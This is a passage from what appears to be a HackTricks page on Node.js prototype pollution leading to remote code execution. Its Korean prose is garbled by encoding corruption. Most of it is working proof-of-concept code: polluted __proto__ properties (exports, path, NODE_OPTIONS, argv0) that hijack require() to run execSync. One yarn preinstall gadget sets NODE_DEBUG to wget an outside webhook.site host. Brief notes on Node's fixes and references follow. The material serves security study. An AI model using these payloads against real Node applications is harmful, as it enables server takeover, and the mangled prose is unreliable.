์ ๋ ๊ฒฝ๋ก ๋์ ์๋ ๊ฒฝ๋ก๊ฐ ๋ก๋๋๋ฉด, ๋ ธ๋๊ฐ ๋ค๋ฅธ ๊ฒฝ๋ก๋ฅผ ๋ก๋ํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค:
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
์๋ require - 2
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Relative require - 3
์ด์ ๊ณผ ์ ์ฌํ๊ฒ, ์ด ๊ธ์์ ๋ฐ๊ฒฌ๋์์ต๋๋ค.
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}
require("./usage.js")
VM Gadgets
๋
ผ๋ฌธ https://arxiv.org/pdf/2207.11171.pdf์์๋ vm ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ผ๋ถ ๋ฉ์๋์์ **contextExtensions**์ ์ ์ด๊ฐ ๊ฐ์ ฏ์ผ๋ก ์ฌ์ฉ๋ ์ ์๋ค๊ณ ๋ ์ธ๊ธํ๊ณ ์์ต๋๋ค.
๊ทธ๋ฌ๋ ์ด์ ์ child_process ๋ฉ์๋์ ๋ง์ฐฌ๊ฐ์ง๋ก ์ต์ ๋ฒ์ ์์ ์์ ๋์์ต๋๋ค.
Fixes & Unexpected protections
ํ๋กํ ํ์ ์ค์ผ์ ์ ๊ทผํ๋ ๊ฐ์ฒด์ attribute๊ฐ undefined์ผ ๋ ์๋ํฉ๋๋ค. ๋ง์ฝ ์ฝ๋์์ ๊ทธ attribute์ ๊ฐ์ด ์ค์ ๋์ด ์๋ค๋ฉด ๋ฎ์ด์ธ ์ ์์ต๋๋ค.
2022๋
6์ ์ด ์ปค๋ฐ์์ var options๋ {} ๋์ **kEmptyObject**์
๋๋ค. ์ด๋ RCE๋ฅผ ์ป๊ธฐ ์ํด **options**์ attributes์ ์ํฅ์ ๋ฏธ์น๋ ํ๋กํ ํ์
์ค์ผ์ ๋ฐฉ์งํฉ๋๋ค.
์ต์ํ v18.4.0๋ถํฐ ์ด ๋ณดํธ๊ฐ ๊ตฌํ๋์์ผ๋ฉฐ, ๋ฐ๋ผ์ spawn ๋ฐ spawnSync ์ต์คํ๋ก์์ ๋ ์ด์ ์๋ํ์ง ์์ต๋๋ค (์ต์
์ด ์ฌ์ฉ๋์ง ์๋ ๊ฒฝ์ฐ!).
์ด ์ปค๋ฐ์์๋ vm ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ **contextExtensions**์ prototype pollution์ด {} ๋์ **kEmptyObject**๋ก ์ค์ ํ์ฌ ์ด๋ ์ ๋ ์์ ๋์์ต๋๋ค.
[!INFO] **Node 20 (2023๋ 4์) ๋ฐ Node 22 (2025๋ 4์)**๋ ์ถ๊ฐ์ ์ธ ๊ฐํ ์กฐ์น๋ฅผ ๋์ ํ์ต๋๋ค: ์ฌ๋ฌ
child_processํฌํผ๋ ์ด์ ์ฐธ์กฐ๋ก ์ฌ์ฉํ๋ ๋์ **CopyOptions()**๋ก ์ฌ์ฉ์ ์ ๊ณตoptions๋ฅผ ๋ณต์ฌํฉ๋๋ค. ์ด๋stdio์ ๊ฐ์ ์ค์ฒฉ ๊ฐ์ฒด์ ์ค์ผ์ ์ฐจ๋จํ์ง๋ง, ์์์ ์ค๋ช ํNODE_OPTIONS/--importํธ๋ฆญ์ ๋ํด์๋ ๋ณดํธํ์ง ์์ต๋๋ค โ ์ด๋ฌํ ํ๋๊ทธ๋ ์ฌ์ ํ ํ๊ฒฝ ๋ณ์๋ฅผ ํตํด ์์ฉ๋ฉ๋๋ค.
์์ ํ ์์ ์ ๋ถ๋ชจ ํ๋ก์ธ์ค์์ ์ ํ๋ ์ ์๋ CLI ํ๋๊ทธ๋ฅผ ์ ํํด์ผ ํ๋ฉฐ, ์ด๋ Node Issue #50559์์ ์ถ์ ๋๊ณ ์์ต๋๋ค.
Other Gadgets
- https://github.com/yuske/server-side-prototype-pollution
- https://github.com/KTH-LangSec/server-side-prototype-pollution
References
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://blog.sonarsource.com/blitzjs-prototype-pollution/
- https://arxiv.org/pdf/2207.11171.pdf
- https://portswigger.net/research/prototype-pollution-node-no-filesystem
- https://www.nodejs-security.com/blog/2024/prototype-pollution-regression
- https://portswigger.net/research/server-side-prototype-pollution
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


